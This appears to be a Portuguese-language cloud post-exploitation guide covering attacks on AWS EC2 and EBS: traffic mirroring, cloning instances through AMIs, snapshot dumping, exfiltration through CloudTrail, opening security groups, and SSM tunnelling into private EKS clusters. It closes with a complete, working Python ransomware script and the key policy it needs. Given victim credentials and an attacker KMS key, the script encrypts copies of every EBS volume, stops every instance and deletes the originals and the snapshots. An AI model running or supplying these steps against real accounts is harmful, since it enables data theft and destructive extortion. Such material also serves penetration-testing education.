O espelhamento de tráfego VPC duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado geralmente seria enviado para algo como um sistema de detecção de intrusão de rede (IDS) para análise e monitoramento.
Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis dele:
As instâncias geralmente contêm algum tipo de informação sensível. Existem diferentes maneiras de acessar (verifique truques de escalonamento de privilégios EC2). No entanto, outra maneira de verificar o que contém é criar uma AMI e executar uma nova instância (mesmo na sua própria conta) a partir dela:
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.awsec2run-instances--image-idami-0b77e2d906b00202d--security-group-ids"sg-6d0d7f01"--subnet-idsubnet-9eb001ea--count1--instance-typet2.micro--key-name"AWS Audit"--query"Instances[0].InstanceId"--regioneu-west-1# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
EBS Snapshot dump
Snapshots são backups de volumes, que geralmente conterão informações sensíveis, portanto, verificá-los deve revelar essas informações.
Se você encontrar um volume sem um snapshot, você pode: Criar um snapshot e realizar as seguintes ações ou apenas montá-lo em uma instância dentro da conta:
Um atacante poderia chamar endpoints de API de uma conta controlada por ele. O Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
Open Security Group
Você poderia obter acesso adicional a serviços de rede abrindo portas assim:
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc para ECS
É possível executar uma instância EC2 e registrá-la para ser usada para executar instâncias ECS e, em seguida, roubar os dados das instâncias ECS.
Além da execução de comandos, o SSM permite o tunelamento de tráfego, que pode ser abusado para pivotar a partir de instâncias EC2 que não têm acesso à rede devido a Grupos de Segurança ou NACLs. Um dos cenários onde isso é útil é pivotar de um Bastion Host para um cluster EKS privado.
Para iniciar uma sessão, você precisa do SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Instale o SessionManagerPlugin na sua máquina
Faça login no Bastion EC2 usando o seguinte comando:
O tráfego da ferramenta kubectl agora é encaminhado através do túnel SSM via o Bastion EC2 e você pode acessar o cluster EKS privado da sua própria máquina executando:
kubectlgetpods--insecure-skip-tls-verify
Note que as conexões SSL falharão a menos que você defina a flag --insecure-skip-tls-verify (ou seu equivalente nas ferramentas de auditoria do K8s). Visto que o tráfego é tunelado através do túnel seguro do AWS SSM, você está seguro de qualquer tipo de ataques MitM.
Finalmente, essa técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrárias para se mover para qualquer outro serviço AWS ou uma aplicação personalizada.
Pesquisar informações sensíveis em AMIs públicas e privadas
https://github.com/saw-your-packet/CloudShovel: CloudShovel é uma ferramenta projetada para procurar informações sensíveis dentro de Imagens de Máquina da Amazon (AMIs) públicas ou privadas. Ela automatiza o processo de lançamento de instâncias a partir de AMIs alvo, montando seus volumes e escaneando em busca de segredos ou dados sensíveis potenciais.
Uma prova de conceito semelhante à demonstração de Ransomware apresentada nas notas de pós-exploração do S3. O KMS deve ser renomeado para RMS, que significa Ransomware Management Service, dada a facilidade de uso para criptografar vários serviços da AWS usando-o.
Primeiro, a partir de uma conta AWS de 'atacante', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo, deixaremos a AWS gerenciar os dados da chave para mim, mas em um cenário realista, um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a política da chave para permitir que qualquer Principal de conta AWS use a chave. Para esta política de chave, o nome da conta era 'AttackSim' e a regra da política que permite todo o acesso é chamada de 'Outside Encryption'
A regra da política de chave precisa das seguintes permissões habilitadas para permitir a capacidade de usá-la para criptografar um volume EBS:
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
Agora, com a chave acessível publicamente para usar. Podemos usar uma conta de 'vítima' que tenha algumas instâncias EC2 criadas com volumes EBS não criptografados anexados. Os volumes EBS da conta 'vítima' são o que estamos visando para criptografia, este ataque está sob a suposição de violação de uma conta AWS de alto privilégio.
Isso resulta em apenas volumes EBS criptografados disponíveis na conta.
Também vale a pena notar que o script parou as instâncias EC2 para desanexar e excluir os volumes EBS originais. Os volumes originais não criptografados não existem mais.
Em seguida, retorne à política de chave na conta 'atacante' e remova a regra de política 'Outside Encryption' da política de chave.
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
Aguarde um momento para que a nova política de chave seja propagada. Em seguida, retorne à conta da 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você descobrirá que pode anexar o volume.
Mas quando você tentar realmente iniciar a instância EC2 novamente com o volume EBS criptografado, ela simplesmente falhará e voltará do estado 'pendente' para o estado 'parado' para sempre, uma vez que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política de chave não permite mais isso.
Este é o script python utilizado. Ele recebe credenciais AWS para uma conta 'vítima' e um valor ARN AWS publicamente disponível para a chave a ser usada para criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, em seguida, parará cada instância EC2, desanexará os volumes EBS originais, os excluirá e, finalmente, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT APENAS EM UM AMBIENTE DE TESTE, É DESTRUTIVO E EXCLUI TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao seu estado original por meio de snapshots, mas quero apenas que você esteja ciente de que isso é uma prova de conceito de ransomware no final das contas.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Semelhante ao exemplo de ransomware S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave disponível publicamente da conta 'atacante' para criptografar os novos volumes EBS, em seguida, desanexará os volumes EBS originais das instâncias EC2 e os excluirá, e finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados.